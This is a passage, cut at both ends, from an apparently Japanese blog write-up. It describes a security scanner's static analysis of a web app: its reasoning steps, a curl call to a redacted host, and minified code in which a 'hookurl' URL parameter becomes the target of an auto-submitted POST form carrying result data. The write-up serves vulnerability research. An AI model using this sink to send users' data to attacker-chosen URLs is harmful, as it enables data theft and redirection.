&lt;span class="n"&gt;Accepts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;numerous&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dangerous&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;schemes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;should&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;フェーズ2：静的解析と振る舞いのモデル化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;スキャナーは&lt;code&gt;/elbridge&lt;/code&gt;を潜在的なナビゲーションハンドラーとして特定すると、&lt;code&gt;hookurl&lt;/code&gt;パラメーターが実際に&lt;strong&gt;どのように&lt;/strong&gt;使われているかを理解する必要がありました。エンジンは体系的な静的解析を実行し、アプリケーションのメインバンドルをダウンロードして調べました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スキャナーの推論プロセス：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SCANNER&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;To&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;understand&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;flow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Need&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bundles&lt;/span&gt;
&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Search&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parsing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patterns&lt;/span&gt;
&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Identify&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;storage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mechanisms&lt;/span&gt;
&lt;span class="mf"&gt;4.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;navigation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sinks&lt;/span&gt;
&lt;span class="mf"&gt;5.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Trace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flow&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;スキャナーはまずトップページを取得し、JavaScriptのアセットを特定しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CALL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;http1&lt;/span&gt;&lt;span class="mf"&gt;.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sSLi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//REDACTED/&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Discovered&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bundles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.6e5&lt;/span&gt;&lt;span class="n"&gt;ed615&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vendor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bundle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a658340c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bundle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ANALYSIS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAMEORIGIN&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;detected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;スキャナーは両方のJavaScriptバンドルをダウンロードして解析しました。決定的な発見は、メインバンドルを調べたことから得られました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取得したJavaScriptバンドルの解析：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Scanner discovered critical code patterns:&lt;/span&gt;

&lt;span class="c1"&gt;// 1. PARAMETER PARSING FROM URL&lt;/span&gt;
&lt;span class="c1"&gt;// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// "version"&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HOOKURL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// "hookurl"&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;country&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;COUNTRY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LANGUAGE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hook&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;country&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;version&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HOOKURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hook&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 2. GUARD CHECK&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hasElbridgeSeed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HOOKURL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 3. CRITICAL SINK (Scanner-discovered minified code)&lt;/span&gt;
&lt;span class="c1"&gt;// From bundle main.a658340c.chunk.js:&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Lm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;()=&amp;gt;{&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)(),{&lt;/span&gt;&lt;span class="nx"&gt;projectDetails&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectDetail&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HOOKURL&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;{&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"form"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"_blank"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hidden"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hidden"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;()};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;スキャナーの解析結果：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SCANNER&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapped&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
